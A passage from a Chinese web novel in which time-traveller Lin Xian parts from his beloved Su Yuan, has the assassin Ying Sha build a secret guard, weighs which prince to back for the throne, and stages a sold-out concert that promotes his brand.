两人相视一笑,默契十足离去。
身后那些贵妇们还在议论纷纷,对“元启清口胶”和这位“浑身是宝、连狼狈都那么好看”的林解元充满了期待。
而苏元心中那份【我家男人就是厉害,连被追堵都这么有型】的自豪与甜蜜已满溢而出,化作眼角眉梢藏不住的盈盈笑意。
第125章 情意缱绻
摆脱了热情似火的贵妇“围堵”,林闲与苏元相拥走在秦淮河畔一条柳荫掩映的幽静小道上。
晚风拂过柳梢,水面泛起粼粼波光,气氛宁静而温馨。
经过画舫上的维护,两人之间那份朦胧的情愫,此刻如拨云见月清晰而炽热。
苏元微微侧首,看着身旁男子挺拔的身影,想着他谈笑间化解纨绔刁难、窘迫中不失风度的模样,心中柔情百转涟漪阵阵。
然而一想到京城波谲云诡的局势,她眼眸不禁染上挥之不去的忧色。
她停下脚步,转身面向林闲,声音轻柔却带着一丝凝重:“闲君,今日画舫风波,虽是小插曲,却也可见……树欲静而风不止。”
她顿了顿,语气带着几分无奈苦笑:“不瞒闲君,近日东宫之中,似有微词。殿下……似乎对我与闲君交往过密,已心生芥蒂。”
林闲眉头微蹙,立刻抓住了关键:“是因为我与赵王合作‘元启’之事,让太子不快了?”
苏元微微颔首,眼中闪过一丝复杂:“不止于此!太子殿下心思深沉,或许觉得我……未能全力为东宫争取利益,反而……心有所偏,情有所系。”
她的话语含蓄,但意思明确——太子已经开始怀疑她的忠诚已偏向林闲,甚至可能察觉了两人之间超越合作的情谊。
“殿下已有意想将我调离江南,或许会派往……西南烟瘴之地或岭南偏远之所,名为历练,实为疏远,另遣‘更可靠’之人来接替与闲君的‘接洽’。”
这个消息,如一盆冷水瞬间浇灭了林闲心头的暖意。
他深知苏元在太子身边的关键地位和情报价值,但更重要的是他早已在不知不觉中,将她视为此生的心上人。
太子此举,无异于要强行拆散他们!
一股强烈的不舍、愤怒与保护欲瞬间涌上心头!
林闲几乎是不假思索上前一步,伸手握住苏元微凉的柔荑,目光灼灼语气急切否决道:“不行!绝对不行!”
他声音不大,却带着不容置疑:“我绝不能让你去那种地方!太子若疑你,我去与他分说!大不了……”
他脑中念头飞转,甚至闪过一丝惊世骇俗的想法:“大不了,我们离开这是非之地!天下之大,岂无你我容身之处?总有办法可以留下你!”
他的反应如此强烈,甚至带着几分少年人的冲动与不顾一切,让苏元心中既感动得无以复加又酸楚难言。
她感受着林闲掌心的滚烫,看着他眼中毫不掩饰的关切与急切,眼眶瞬间就红了。
但苏元却强压翻涌的情绪,轻轻摇了摇头,用另一只手温柔将他的手缓缓推开。
“闲君的心意,元儿……无以为报。”
她声音微颤,却异常清晰:“但……此事万万不可鲁莽!”
苏元深吸一口气,眼神瞬间变得清澈、冷静而充满智慧,仿佛换了一个人。她并非需要人庇护的柔弱女子,而是胸有丘壑、腹有良谋的奇女子。
“闲君,且听我说。”
她的声音平稳下来,带着一种超越年龄的沉稳与远见,“太子疑我,若强行留下反会坐实其猜忌,引来更严厉的打压,于你、于我、乃至于我们长远的谋划,都将是灭顶之灾!调离江南,看似是疏远打压,但祸兮福之所倚,何尝不是一种……跳出樊笼、另辟蹊径的绝佳契机?”
“契机?”
林闲闻言心神一震,似乎捕捉到了什么。
“正是!”
苏元眼中闪过一丝锐利如鹰隼的光芒,语气也变得激昂起来:“闲君请扪心自问,你志在何方?难道甘心永远困于这江南繁华之地,周旋于王爷们的利益棋局之中,做一个富家翁或弄臣吗?不!你的舞台,当在更广阔的天地!外放为官治理一方,积累实实在在的政绩民心,方是匡扶社稷、名垂青史的正道!陛下春秋正盛,太子与诸王之争方兴未艾,将来局势如何犹未可知。你需有自己的根基,而非永远依附于人!”
她走近一步,几乎能感受到彼此的呼吸柔声道:“太子欲调我往他省,或许是想冷落我,或许另有深意。但对我而言,这正是一个天赐良机!我可以先行一步,为你打前站,做你的耳目和先锋!”
“元儿!”
林闲心中掀起惊涛骇浪,瞬间完全明白了苏元的深谋远虑和巨大牺牲!
苏元继续道,语速加快思路清晰道:“无论西南还是岭南,皆是朝廷要地。其情况复杂,却也机遇无限!我先行前往,可借东宫之名暗中结交人脉、勘察地理、了解民情、积累资源。我在暗你在明,彼此呼应里应外合,岂不胜过两人皆困于京城或江南这漩涡中心,束手束脚?”
她的目光灼灼,充满了对未来的憧憬和主动担当:“元儿虽是一介女流,亦不愿只做攀附的藤蔓,仰望你的光辉。我愿为你,也为我们共同的未来,提前去那未知之地,披荆斩棘,经营出一片属于我们的根基和退路!待你金榜题名外放为官之时,无论去向何处,我们都有所准备,不至于手足无措,任人拿捏!这,才是真正的长久之计!”
这番话格局宏大思虑深远,完全超脱了儿女情长的缠绵悱恻,上升到共同事业的层面。
林闲看着眼前这个冰雪聪明、胆识过人、情深义重的女子,心中充满了前所未有的爱怜。
她不仅理解他的抱负,更愿意用自己看似“被贬”的机会,去为他也为他们,开拓一片新天地!
所有的挽留之言,在此刻都显得苍白而狭隘。
林闲深吸一口气,仿佛瞬间成熟了许多。他再次郑重握住苏元的双手。
这次不再是冲动的拉扯,而是充满了信任、承诺与并肩作战的决心。
“元儿……一席话,惊醒梦中人!”
林闲凝视着苏元的眼睛,深情唤道:“是林某狭隘了,只顾眼前厮守险些误了大事!你说得对,眼光当放得更长远些!”
他紧了紧握住的手,仿佛要将力量和信念传递过去:“既然如此,江南之事你无需担心,我自会应对周全。你此去山高路远,凶险未知,万事务必以安全为上! 联络之法,依计行事。元儿,保重自己,等我!”
林闲顿了顿,声音带着无比的坚定和豪情:“待我蟾宫折桂、圣旨加身之日,便是你我重逢,共展抱负,携手笑看风云之时!”
“嗯!”
苏元重重点了点头,眼中幸福的泪光终于滑落,在月光下如同晶莹的珍珠。
她反手紧紧回握住林闲的手,一切尽在不言中。
夕阳的余晖早已散尽。
皎洁月光洒在两人身上,将相拥的影紧织在一起……
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第126章 夜定暗棋局,领命铸锋刃
送别苏元后,林闲回到江陵别院。
夜深人静,白日的喧嚣褪去,唯有烛火在窗上投下的摇曳。
苏元临别前那番关于太子猜忌、主动请缨“打前站”的话语,反复在他脑海中激荡。
那份深情与担当让林闲感动,但随之而来的是一股不安与对太子的反感。
林闲独坐书案前,指尖有节奏地叩击着紫檀木桌面,发出咚咚轻响。
他抬头呵呵一笑,缓缓自语道:“太子只因苏元与我交好,便心生猜忌,欲将其远调,视若可随意丢弃的棋子。如此心胸狭隘、刻薄寡恩、目光短浅之辈……”
想到这,林闲冷哼一声:“若将来真让此等人登临大宝执掌乾坤,岂能容得下我这等与藩王合作、又‘拐带’他心腹近臣之人?只怕到时,免不了鸟尽弓藏、兔死狗烹的下场!说不定还会给我安上个勾结藩王、图谋不轨的罪名,抄家灭族!”
林闲越想,心中那丝警惕便越是清晰。
太子之前的拉拢,更多是出于利用和制衡。
一旦觉得难以掌控或触及其核心利益,便立刻显露出猜忌、打压乃至清除的冷酷一面。
这种上位者,绝非可托付身家性命的明主,而是随时可能反噬的冷血毒蛇!
“绝不能!绝不能将自身和苏元的安危,完全寄托于此等仁慈之上!”
一个念头如闪电般劈开迷雾,在他心中变得无比坚定。
必须拥有自己的底牌!自己的力量!
一支……只听从于他,能于黑暗中守护,亦能于无声处听惊雷的力量!
林闲的思绪,开始飞速运转。
苏元即将孤身前往陌生之地,虽有东宫身份掩护,但官场如战场,地方势力盘根错节,明枪易躲暗箭难防。
若无绝对可靠、如影随形的得力之人暗中保护,难保周全。
更进一步,自己未来若要真正有所作为,无论是推广元启还是涉足更广阔的领域,都难免触动各方利益,没有可靠的力量作为后盾,简直是寸步难行,任人宰割!
“情报、安保、乃至……一些非常规手段。需要一支绝对忠诚、如臂使指、隐匿于黑暗中的力量。”
林闲的目光在烛火映照下,变得深不见底。他很自然想到了影刹。
此女武功高强精通潜伏暗杀,对朝廷秘辛和江湖门道了如指掌。
更难得的是,她因自己为其解蚀骨噬心散之毒,对自己心存感激与敬畏,是目前可用之人中,最隐秘的一把利刀。
翌日深夜,林闲通过安全联络方式密召了影刹。
密室之中,仅有一灯如豆。
影刹依旧一身紧束的黑衣,面容大部分隐在阴影中,仿佛与黑暗融为一体。
影刹微微躬身,声音低沉道:“先生深夜召见,必有要事。影刹听候吩咐。”
林闲没有多余的寒暄,目光如电直视影刹沉声开口:“影刹,苏大家不日将奉太子之命,远赴他省。明为调任实则是太子心生猜忌,有意疏远监视。前路凶险未卜,危机四伏。”
影刹眼中精光一闪,周身气息瞬间变得冰冷:“先生是希望我暗中尾随,保护苏大家周全?”
保护人并非她最擅长之事,但若是林闲的命令,她便会执行。
“柳如丝已被派去西北,有我嘱咐应该能和苏元相互照应,守望相助。”
林闲缓缓摇头,声音低沉而充满不容置疑的力量补充道:“相比于短暂守护,当务之急我更希望你能为我、也为我们做件关乎长远的大事!”
他站起身,走到有些震惊的影刹面前。
烛光将他的身影投下,带着一股无形的压迫感:“我希望你能为我暗中物色筛选、并亲手训练出一批……绝对可靠、忠诚不二、能力出众的少年男女!”
他详细阐述要求,语速不快却字字千钧:“人选最好是身世清白、无牵无挂。或是身负血海深仇、心志坚韧如铁、有强烈向上欲望之辈。授其格斗暗杀、潜伏刺探、情报分析、护卫警戒之术。不必求多,但要精益求精,宁缺毋滥。要让他们成为隐匿于黑暗中的眼睛和耳朵,成为关键时刻能决定生死的利刃。所需银钱、资源、场地,通过启元分成银子全力供给,要多少给多少!”
他目光灼灼盯着影刹,仿佛要将意志灌注给她:“这支力量将是我们的依仗,是能在惊涛骇浪中保住性命、甚至逆转局面的底牌。首要任务,是确保苏元在任何地方都安然无恙!其次,将来或许有更多用武之地。此事关乎你我生死,必须绝对隐秘,你可能做到?”
影刹闻言,周身气息陡然变得无比锐利,仿佛一柄即将出鞘的绝世凶刃!
她单膝跪地,头颅低下,声音斩钉截铁,没有丝毫犹豫,带着一种找到归宿般的狂热:
“先生于影刹,有解毒救命、赐予新生之大恩!影刹此身此命,早已属先生!先生所托,关乎先生与苏大家安危,关乎未来大业,影刹万死不辞!”
她猛地抬起头,阴影中的眼眸闪烁着兴奋与忠诚的光芒:“影刹在此立誓!定当竭尽所能,为先生甄选良才,严加训练,打造出一支隐匿于暗处,却足以让敌人胆寒的锋刃!此刃所指,必为先生之敌所至!此刃所向,必为先生意志所达!请先生放心!”
“好!很好!”
林闲俯身亲手将她扶起,语气中带着无比的信任与托付:“此事,便全权交予你了。具体的联络方式、资金交接渠道,按最严格的计划进行。从今日起,你便是‘暗影’的首领。”
“是!先生!”
影刹沉声应道。
看着影刹领命而去,林闲心中稍安。
这第一步暗棋,这未来可能搅动风云的‘暗影’,总算悄然落下了第一子。
他重新坐回案前,看着跳跃的烛火,目光幽深:“太子……你绝不会想到,你今日的猜忌与排挤,正逼我铸就他日足以与你与你背后东宫势力抗衡的根基!”
这盘棋,越来越有趣了……
第127章 闲观诸王:暗定乾坤择新树
安排完影刹组建“暗影”的任务后,林闲心中的危机感并未消散。
反而因这主动落下的暗子,更加清晰认识到权力场的残酷与机遇并存。
他屏退左右独自登上别院后山的凌云亭,此处地势最高,可远眺北方——那是苏元孤身远行的方向,更是京城、权力漩涡中心所在的方向。
山风猎猎,吹拂着他青色的衣袍带来凉意。
他凭栏远眺,目光仿佛穿透千山万水,直抵那座波谲云诡的皇城。
回想起自己穿越以来的种种:从府试案首到乡试解元,从研制香皂到周旋于三位王爷之间……看似风光无限,步步高升,实则如履薄冰生死一线。
自己的命运,始终被那些高高在上的龙子凤孙的喜怒和猜忌所左右。
太子可以因疑心而将苏元远调,赵王、汉王今日可因利合作,他日亦可因更大的利益而翻脸无情!
“仰人鼻息,看人脸色,终非长久之计。将自己的身家性命、抱负前程,寄托于他人的‘仁慈’或‘需要’上,简直是愚不可及!”
一个前所未有、大胆到堪称叛逆的念头,如同暗夜中划破天际的雷霆,骤然劈开了他心中的迷雾!
“难道……我林闲,就只能像个待价而沽的商品,被动地在这几位皇子之间周旋、等待他们施舍前程或是随意拿捏吗?我就不能……主动选择?甚至……主动塑造?”
这个念头一旦产生,便如同野火燎原,疯狂滋长!他想起了前世浩瀚如烟的历史与权谋,那些不甘被命运摆布、最终搅动风云、甚至一手扶立新君的巨擘枭雄!
“凭什么?!”
林闲的心跳骤然加速,一股不甘平庸、欲与天公试比高的豪情在胸中激荡!
“凭什么我不能拥有更大的话语权?甚至……主动选择一方,倾我所能,助其登上那至尊之位!以此换一个真正的安稳未来、一言九鼎的地位,彻底掌握自己的命运!”
一个更加现实且充满极致诱惑力的想法,如同魔鬼的低语,在他脑海中清晰浮现!
他强迫自己冷静下来,山风让他发热的头脑渐渐清醒。
他开始以一种前所未有的审视目光,仔细权衡现有的两位主要“投资对象”——赵王周宸与汉王周阳。
“太子周扬,猜忌刻薄,心胸狭窄,已生嫌隙,绝非良主,首先排除。”
林闲心中冷笑:“剩下的赵王与汉王,谁才是那棵值得我林闲栖息的良木?谁才配得上我这份‘从龙’的投资?”
“赵王周宸有魄力,懂取舍,识时务,更难得的是,他似乎懂得‘共赢’之道。他看重我的‘格物’之才和点石成金的本事,愿意以相对平等的姿态合作,甚至愿意让出部分利益捆绑。”
“而且他似乎在文官体系,尤其是清流和学政方面,经营颇深,根基不浅。若扶持他,或许能为我未来的科举仕途、文名积累提供更直接的助力,是一条相对‘正统’的路径。”
但随即,他带着一丝警惕反思:“然此人心思深沉,野心勃勃,与之合作如与虎谋皮与狐同盟。今日他可因利而合,他日亦可因更大的利益而弃我如敝履。需得小心驾驭,既要展现价值,又需留有反制后手。”
林闲目光顿了顿,转向另一方:“再看汉王周阳,此人军人作风直来直去,掌控边军实力雄厚,杀伐果断。他看重的是我的实用价值。与这样的人打交道规则相对简单,或许更重承诺。一旦认可,便不易反复。若天下有变或需雷霆手段时,其军事实力便是最大的底气。”
但他同样看到了隐患:“然军人当国,是否过于崇尚武力,轻视文治?其性格刚愎,是否能听得进我的谏言?将来若功成,是否会鸟尽弓藏,视文臣为点缀?这是一条**险、可能高回报的路径,但不确定性也更大。”
关键在于——谁更能真正尊重我的价值,视我为股肱,而非随时可弃的工具?谁更有容人之量,能让我施展抱负,而非仅仅利用我的“奇技淫巧”?
林闲综合判断,眼神闪烁:“赵王周宸,似乎更愿意与我商量,展现出了一定程度的合作姿态,有倾听的意愿。而汉王周阳,则更倾向于清晰的交易和实力碾压。从可控性和文化认同上,赵王暂居上风。”
一个模糊但更具操作性和野心的计划开始在他心中成形:不再被动等待选择,而是要主动评估、暗中下注、甚至……主动塑造局势!
“或许……可以暗中加大对赵王的支持力度。”
林闲思忖着。
比如将更多元启核心技术或利润与赵王深度捆绑,形成利益共同体。
甚至在未来某些时候,利用我的格物’知识,为他提供一些……超越这个时代的奇技淫巧——譬如更精良的军械设计思路、更高效的后勤管理方法、甚至是一些天象、祥瑞的解读……助他增强实力,积累声望,在夺嫡中占据更有利位置!”
想到此处,林闲眼中闪过一丝危险的光芒!
“同时,也不能完全断绝与汉王的合作。要保持这条线,既是退路,亦可作为制衡赵王的筹码!让他们都需要我,都不敢轻易动我!”
林闲知道这条路如临深渊,但相比于去寻找虚无缥缈、难以控制的幼主,扶持一位有实力的王爷,虽然竞争激烈但目标明确见效更快。
一旦成功,回报也更为惊人!
“苏元为我远走他乡暗中布局,以身为饵。影刹为我训练死士,潜伏于暗甘为锋刃。我林闲,又岂能甘于只做一个待价而沽、仰人鼻息的棋子?”
林闲握紧拳头,眼中闪烁着决断与野心的火焰!
“既然天意让我来到这个时代,赋予我这般机缘,我何不主动择木而栖,甚至……亲手培育一棵参天大树?到时候彻底能安心躺平养老,换一个真正的海阔天空?!”
“策略已定!” 他深吸一口气,山风灌入肺腑,带来一丝凛冽的清醒,“先从加深与赵王的合作,更积极地展现我无可替代的价值开始。同时,静观其变,等待那最佳的下注时机!”
林闲望着京城的方向,嘴角勾起一抹意味深长、仿佛洞悉未来的弧度,低声自语,声音随风飘散:
“周扬,你的猜忌与狭隘,或许正在将一股你无法想象的力量推向你的对手盘。而赵王……但愿你是那棵值得我林闲栖息、并愿意与之共成长的……良木。否则……”
林闲眼中寒光一闪:“改种一棵树,也未尝不可!”
这一刻,林闲的心态发生了质的蜕变。
他从一个试图在权力夹缝中求生存、谋发展的“弄潮儿”,开始向一个意图积极参与并深度操控夺嫡之争的“投资者”乃至“幕后布局者”蜕变。
大周朝堂的暗流,因为这颗为了将来苟得更舒服一些的“棋子”,注定将变得更加汹涌澎湃,诡谲难测!
第128章 星梦启航:跨界组团,倾情首演
初步定下“择木而扶”的深远方略后,林闲并未立刻投身那步步杀机的权谋棋局。
他深知在拥有绝对的实力和稳固的根基之前,过早地站队或暴露野心,无异于稚子抱金过市自寻死路。
当前的重中之重,仍是积累名望财富、收拢民心,打造一个进可攻、退可守的坚实基本盘。
就在这潜心积累之际,一个酝酿已久、疯狂而又令人兴奋的念头在他脑海中喷薄而出——
他要举办一场超越这个时代审美、注定载入史册的“新乐府演唱会”!
这念头,一半源于精明的商业算计。
借这场前所未有的音乐盛宴,将“元启”品牌的知名度推向新的高峰,顺势预售新品“清口胶”乃至后续计划中的“香水”,再狠狠地大赚一笔!
另一半,则源于他内心深处那份穿越前未能实现、引以为憾的“明星梦”。
林闲暗自调侃,嘴角勾起一抹玩味的弧度:“上辈子没当成顶流爱豆,这辈子穿越了,有才(能抄)有挂(现代知识),不开个巡回演唱会圆梦,顺便把‘粉丝经济’的降维打击玩起来,岂不是白来这一趟?”
说干就干!林闲立刻凭借“林解元”和“元启东家”的双重金字招牌放出风声,重金礼聘江宁府最顶尖的一批乐师。
消息一出,江宁乐坛震动!
不少自视甚高的老乐师本对这等“商贾之事”嗤之以鼻,但一听是名动江南的解元公亲自牵头,又碍于丰厚的酬金,还是纷纷前来一探究竟。
林闲在自家别院精心布置的“排练厅”接见了他们。他面对着一群或须发皆白、或神情倨傲的乐坛前辈,不卑不亢,先是拱手一礼,然后直接亮出了大招——他那把紫檀木吉他!
“诸位先生,请了。”
林闲微微一笑,抱起吉他道:“今日请诸位来,非为寻常堂会伴奏。林某欲组建一乐班,名曰——‘元音坊’!旨在融贯古今创制新声。此物名为‘吉他’,乃林某依古籍所载,加以改良所制,其音色别具一格,可为新声增色。”
话音刚落,一位资历最老、擅长古琴的孙老先生便捻着胡须质疑:“解元公,非是老朽迂腐。音乐之道,自有法度。宫商角徵羽,乃天地正音。此等番邦异器,音色虽奇,然恐非正途,有靡靡之音之嫌,恐难登大雅之堂啊!”
众人纷纷附和,场面一时有些尴尬。
林闲早有预料,也不争辩只是淡然一笑。
他修长的手指轻轻拨动琴弦。一阵悠扬中带着些许忧郁、节奏却明快动人的旋律流淌而出——正是他前世一首经典的乡村蓝调小调。
乐师们初时还面带不屑。
但听着听着,神色渐渐变了。这旋律简单却直击人心,吉他的音色温暖而富有磁性,与他们熟悉的丝竹之音截然不同,却别有一番韵味。
一曲终了,余音袅袅。
林闲放下吉他,目光扫过面露惊奇的众人,朗声道:“孙老所言极是,音乐自有法度。然,林某以为,法度为人所创,亦可为人所破!音乐之道,归根结底,在于悦耳动心,引发共鸣,何必拘泥于形制、地域?”
他走到一位抱着琵琶的乐师面前,笑道:“譬如先生这琵琶,亦是前朝由西域传入,经我先人改良,方成今日国之瑰宝。若当年先人也固守‘正统’,拒之门外,今日我等岂非少了一样神兵利器?”
他又看向孙老先生,语气诚恳而犀利:“再譬如做菜,有了葱姜蒜椒,方能调出百味;若只固守一味,岂不单调?咱们就是要做一道融汇古今、包罗万象的‘音乐盛宴’!吉他之奇,补古乐之醇厚;古乐之韵,衬新声之清越。古今合璧,方能奏出旷世绝响!诸位先生皆是乐坛泰斗,难道不想亲手参与,开创一派新声,留名乐史吗?”
这番话,既有尊重更有诱惑。
既肯定了传统,又指明了创新的广阔前景!
尤其是“开创一派新声,留名乐史”这句,如同一记重锤,敲在了所有乐师的心坎上!谁不想青史留名?
孙老先生怔在原地,半晌,长叹一声,对着林闲深深一揖:“解元公一席话,如醍醐灌顶!是老朽……迂腐了!愿听解元公调遣,共谱新声!”
“愿听解元公调遣!” 其他乐师也纷纷拱手,眼中燃起了前所未有的热情和期待!
乐队初成,定名“元音坊”,林闲自任主唱兼首席吉他手。
接下来是选曲和填词。
林闲闭关三日,回忆前世无数经典,结合当下心境,精心“创作”了几首“新乐府”:
1.开场曲:《闲歌行》 (旋律融合《沧海一声笑》的豪迈与硬摇滚节奏)
“本是后世一闲人,误入前朝科举门。
肥皂香水混商贾,吉他乱弹假充文。
(间奏吉他华彩,炫技!)
莫笑林郎不务正业,且听新声破旧尘!
今日一曲惊四座,管他今夕是何年!”
2. 情歌对唱:《元儿曲》 (旋律优美,融入江南小调,吉他分解和弦如流水)
“秦淮水暖柳如烟,画舫琴音绕指柔。
初见犹疑是梦境,再顾方知缘已牵。
(苏元古琴切入,与吉他对话)
元儿元儿舞翩跹,如蝶如仙落凡间。
一曲相思诉不尽,唯愿长伴卿身边。”
3. 励志战歌:《少年游》 (旋律激昂,节奏强劲,鼓点震撼)
“匹马出江陵,昂首向帝京。
功名非我意,但愿海波平。
(节奏加快,全场乐器齐鸣!)
笑对权贵冷眼,何惧前路风雨倾?
心中有火眼有光,不负少年行!”
阵容方面,最大的亮点是成功邀请到苏元。林闲带着《元儿曲》的稿子,亲自到“听雪小筑”拜访。
月色如水,他坐在院中石凳上,抱着吉他,为她轻声弹唱。
苏元初闻这新颖直白却又深情款款的歌词和旋律,整个人都怔住了。
尤其是听到“元儿元儿舞翩跹,如蝶如仙落凡间”时,她脸颊绯红,美眸中泛起层层涟漪。想到即将分离,心中百感交集,情愫涌动。
“闲君……此曲……” 她声音微颤。
“元儿,”林闲放下吉他,目光灼灼地看着她,“此曲为你而作。首演之夜,我希望……你能为我抚琴伴奏此曲,并……为我舞上一支。让江宁百姓,让天下人皆知,我林闲心中,唯有元儿。”
这近乎当众表白的邀请,让苏元羞得抬不起头,但心中却甜如蜜糖。她沉吟片刻,抬起眼,眼中闪烁着坚定而幸福的光芒,轻声道:“好。元儿……愿与闲君,共谱此曲。”
才子佳人同台,珠联璧合!
这消息一经放出,瞬间点燃了整个江宁城的热情!
一切筹备就绪,“元启新声·江南雅集”首站定于江宁府最大的戏楼“悦来楼”。海报一出,一票难求!全城瞩目,都在期待着这场注定不凡的音乐盛宴!
林闲站在排练厅中央,看着配合日渐默契的“元音坊”,嘴角勾起一抹自信的弧度:“粉丝经济?偶像出道?呵呵,这个时代,我林闲,就是唯一的爱豆!”
第129章 坐看风云起,千金为红颜
元启新声·江南雅集开办的消息,如往湖里投入烧红的玄铁,瞬间沸反盈天!
先是江宁周知府在与几位老翰林茶叙时,“不经意”透露:“听闻林解元近日偶得数卷上古乐谱,玄妙非常,欲以那西域传来的吉他为主,合我中华琴瑟箫鼓之雅韵,创一种新乐府。苏大家闻之亦欣然应允,将抚焦尾古琴并献惊鸿一舞。可谓古今交融雅俗共赏。本官已为诸位老大人预留了雅座数席,届时同往品鉴岂不快哉?”
轻描淡写间,周知府已将“林解元创新”、“苏元助阵”、“知府背书”三大爆点精准抛出,逼格直接拉满。
老翰林们闻言胡须翘起眼中放光,这复古创新的噱头,正搔到他们的痒处!
紧接着织造局、盐运司等实权衙门的后宅女眷圈里,流传开更“内幕”也更“实在”的消息:
“姐姐可知?林解元那场雅集,前排的至尊雅座附赠的鎏金礼盒里,有市面上绝迹的元启玉容霜试用装!据说是林解元亲手采集晨露百花调制,一抹肌肤生光!”
“何止!还有那清口胶,我家老爷前日得了一粒,赴宴前含了片刻,回来直夸与上官说话都底气足了三分!”
女人的舌头、攀比心和购买欲,是世上最恐怖的传播链条和消费引擎!
一时间茶楼酒肆、书院文会,乃至秦楼楚馆,话题都离不开这场雅集。
期待、好奇、质疑、炫耀……种种情绪交织,将气氛炒得滚烫!
售票日前夜,悦来楼前已现末世奇观般的景象。
有那等机灵的小贩,早早就在楼前空地用石灰粉画了格子,出租马扎、灯笼、棉被,甚至提供代排队业务,明码标价,生意火爆。
更有几家与“元启”有合作的绸缎庄、点心铺,派出伙计向排队人群免费发放印有巨大“元启”标识和“新声雅集”字样的绸扇、香帕和精巧茶点,美其名曰“与民同乐,共襄盛举”,实则广告植入得丧心病狂。
整个悦来楼前,灯火通明,人声鼎沸。
不知情的,还以为漕帮抢码头或者皇上南巡了!
售票日清晨,东方刚泛起鱼肚白,悦来楼前已是人山人海。
万头攒动,蔚为壮观!
队伍蜿蜒如长龙,见首不见尾,拐了七八个弯。
排在前面的,多是各府有头有脸的管家,一个个精神抖擞眼冒精光,怀里揣着鼓鼓的银袋,目光警惕扫视四周生怕被人插了队。
他们仿佛守卫的不是队伍,而是家族的荣耀和老爷的脸面。
中间夹杂着不少身着儒衫的士子,虽自恃身份不愿与仆役为伍。但为了心中偶像(林闲或苏元)和一睹新奇,也顾不得许多,一边排队一边高谈阔论,引经据典,争论着吉他与古琴孰高孰低,唾沫横飞。
队伍末尾则是一些家底稍薄的文人、小商人,以及更多来看热闹的百姓,指指点点议论纷纷,气氛热烈得像过年赶集。
辰时正刻,悦来楼中门轰然洞开!
林承宗一身簇新暗纹绸衫,红光满面,气宇轩昂,在几位账房先生和十数名家丁簇拥下,走到临时搭起的红绸铺就的售票台前。
他清了清嗓子,运足中气声若洪钟宣布:“承蒙江宁父老厚爱!【元启新声·江南雅集】今日开售!规矩如下……”
他声音压过喧嚣:“VIP至尊雅座,仅百席!每人限购两张,价银二十两!享前排最佳视野,附赠鎏金礼盒(内含玉容霜、清口胶等)!普通坐席五百,每人限购四张,价银五两!附赠清口胶体验装!售完即止,绝无加座!现在——开售!”
“二十两?!”
人群一阵剧烈骚动,这价格足以让寻常人家咋舌一年!
但对于权贵富商而言,这不仅是门票,更是身份、地位和紧跟潮流的象征!
“这边!VIP两张!”
一位盐商管家挥舞着银票,声嘶力竭。
“给我!普通票四张!快!”一位士子挤得儒巾歪斜,毫无风度。
“哎呀别挤!我的鞋!”
“谁摸我钱袋?!”
抢购瞬间进入白热化!
银票、银锭像不要钱似的飞向售票台,账房先生们忙得满头大汗,算盘珠子打得噼啪作响,都快冒烟了!
临时被喊回来帮忙的少东家林承宗从容指挥,气度俨然,仿佛不是在卖票,而是在指挥一场关乎国运的战役。
此时,林闲在做什么?
悦来楼对面,最好的茶楼“望江阁”三楼,最奢华、视野最佳的雅间“**阁”。
林闲一身月白常服,纤尘不染,正悠闲地倚窗而坐,品着极品明前龙井。
窗外楼下人声鼎沸,抢票盛况一览无余,他却恍若未闻。
身边作陪的是春风得意的周知府,以及几位闻讯赶来、想提前套近乎的士绅名流。
“啧!林解元真乃神人也!”
周知府看着楼下疯狂的场景,忍不住拍案惊叹,差点打翻茶杯。
他咋摸了一下嘴,禁不住叹道:“一场雅集竟能引得全城倾动,这银子赚得……比我们府衙收税银还痛快!简直是点石成金,点石成金啊!”
林闲微微一笑,端起薄如蝉翼的官窑瓷杯。
他轻吹开水面碧绿
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的浮沫,动作优雅从容笑道:“周大人过誉。不过是些雕虫小技,借古人余韵搏今人一笑罢了。银钱乃身外之物,如流水般今日来明日去。林某所求不过是与民同乐,推广新声。若能使这六朝金粉之地,多几分雅趣,少几分俗气,便算是功德无量了。”
“……”
周知府和几位士绅闻言,顿时肃然起敬,佩服得五体投地!
看看!
什么叫格局!
人家楼下抢钱抢疯了,他说“银钱乃身外之物”!
人家搞得全城疯狂,他说“与民同乐,推广新声”。
这逼格,高到天上去了!
“解元公胸怀天下,雅量高致,视金钱如浮云,下官……佩服!五体投地!”周知府由衷赞道,差点想作揖。
就在这时,楼下传来一阵山呼海啸般的喧哗和哀嚎!
原来VIP至尊票在一个时辰内宣告售罄!
没买到的捶胸顿足,如丧考妣。
买到的欢天喜地,如中科举!
紧接着,普通票也开始以肉眼可见的速度迅速减少……
不到午时,前来帮忙的林承宗气喘吁吁又满面红光地冲上雅间,声音激动得发颤:“爹!捷报!票……全卖光了!一张不剩!净入账……净入账五千八百两!还有好多没买到的,在楼下不肯走呢!”
“五千八百两?!”
周知府等人倒吸一口凉气,一场雅集,竟有如此收益!这简直是抢钱啊!
林闲却只是淡淡地点了点头,仿佛早在意料之中,连眼皮都没多抬一下。他放下茶杯,对周知府等人微微一笑,语气依旧云淡风轻:“看来江宁父老,对新声还是颇有几分期待的。届时还望诸位大人拨冗莅临,多多指教。”
轻描淡写,逼气侧漏,仿佛赚的不是近三千两白银,而是三文铜钱。
消息像插了翅膀传遍全城:“林解元雅集,一票难求!”
黑市黄牛票价格瞬间翻了几番,甚至炒到百两一张!
那些拿到了“清口胶”体验装的人,迫不及待尝试,那强劲的清凉感和持久的清香,立刻征服了他们,又引发新一轮的疯狂追捧。
“元启”各家店铺门庭若市,其他产品销量也随之暴涨,连带江宁城的酒楼、客栈、车马行都生意兴隆!
这一日林闲人未登台、弦未响一声,却已用一场教科书级别的完美营销先声夺人,将“逼格”和“期待值”拉满全城!
所有人都翘首以盼,那场注定要载入江宁文化史的“新声雅集”,等待着那位稳坐钓鱼台、谈笑间卷走千金的“闲神”,将会带来怎样的震撼。
第130章 登台惊四座,新声定乾坤
期待已久的江南雅集之夜,终于在江宁城万千瞩目中震撼降临!
戌时将至,悦来楼前已是车水马龙,灯火璀璨如昼。
周知府的八抬绿呢大轿率先抵达,仪仗鲜明。
他刚下轿整了整官袍,便听得前方一阵更大的喧哗与骚动——
只见另一队更为煊赫、打着巡抚衔牌和肃静回避牌的仪仗,在亲兵护卫下浩浩荡荡而来!
“是抚台大人的官轿!”
人群中有人失声惊呼!
江南巡抚周大人,竟然亲临!
一位是地方父母官,一位是手握一省军政大权的封疆大吏,两位周大人同时现身一场“音乐会”,这无疑是给足了林闲天大的面子。
瞬间将这场雅集的规格和**意味,提升到了令人瞠目结舌的顶峰!
周巡抚下轿,不怒自威。
周知府连忙快步迎上,躬身施礼,低声道:“抚台大人日理万机,竟也拨冗前来,下官有失远迎!”
